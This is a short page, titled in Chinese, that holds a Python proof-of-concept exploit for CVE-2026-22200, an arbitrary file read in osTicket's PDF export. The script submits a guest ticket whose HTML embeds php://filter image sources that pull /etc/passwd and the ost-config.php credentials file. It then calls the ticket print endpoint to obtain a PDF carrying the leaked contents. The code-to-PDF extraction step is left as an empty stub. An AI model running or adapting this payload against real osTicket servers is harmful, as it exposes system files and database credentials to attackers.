CVE-2026-22200: osTicket PDF导出功能任意文件读取漏洞

# CVE-2026-22200 PoC - osTicket Arbitrary File Read via PDF Export # This PoC demonstrates how to exploit the arbitrary file read vulnerability # in osTicket's PDF export functionality import requests from bs4 import BeautifulSoup import re TARGET_URL = "http://target-osticket-server.com" # Replace with target URL def create_malicious_ticket(): """Create a ticket with malicious PHP filter payload in HTML""" # Payload to read /etc/passwd file via PHP filter # This will be embedded as an image in the exported PDF malicious_html = ''' <img src="php://filter/read=convert.base64-encode/resource=/etc/passwd"> <img src="php://filter/read=convert.base64-encode/resource=/var/www/html/osticket/include/ost-config.php"> ''' # Ticket creation endpoint (usually for guests) create_url = f"{TARGET_URL}/open.php" ticket_data = { 'email': '[email protected]', 'name': 'Attacker', 'subject': 'Test Ticket - CVE-2026-22200', 'message': malicious_html, 'topicId': '3' # Default topic } response = requests.post(create_url, data=ticket_data) # Extract ticket number from response ticket_match = re.search(r'Ticket\s*#(\d+)', response.text) if ticket_match: ticket_id = ticket_match.group(1) print(f"[+] Ticket created successfully: #{ticket_id}") return ticket_id return None def export_ticket_to_pdf(ticket_id, ticket_password): """Export ticket to PDF to trigger file read""" pdf_url = f"{TARGET_URL}/scp/ajax.php/tickets/{ticket_id}/print" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Referer': f"{TARGET_URL}/scp/tickets.php?id={ticket_id}" } cookies = { 'osticketpass': ticket_password } response = requests.get(pdf_url, headers=headers, cookies=cookies) if response.status_code == 200: filename = f"ticket_{ticket_id}_export.pdf" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] PDF exported to {filename}") return filename return None def extract_file_from_pdf(pdf_path): """Extract embedded file content from PDF""" # Use pdfminer or similar to extract images from PDF # The file content will be embedded as base64 encoded image # Decode the images to retrieve the file contents pass if __name__ == "__main__": print("CVE-2026-22200 - osTicket Arbitrary File Read PoC") print("=" * 50) ticket_id = create_malicious_ticket() if ticket_id: # In real attack, obtain ticket password through ticket lookup pdf_file = export_ticket_to_pdf(ticket_id, "ticket_password_here") if pdf_file: print("[+] Exploitation complete. Check PDF for leaked file contents.")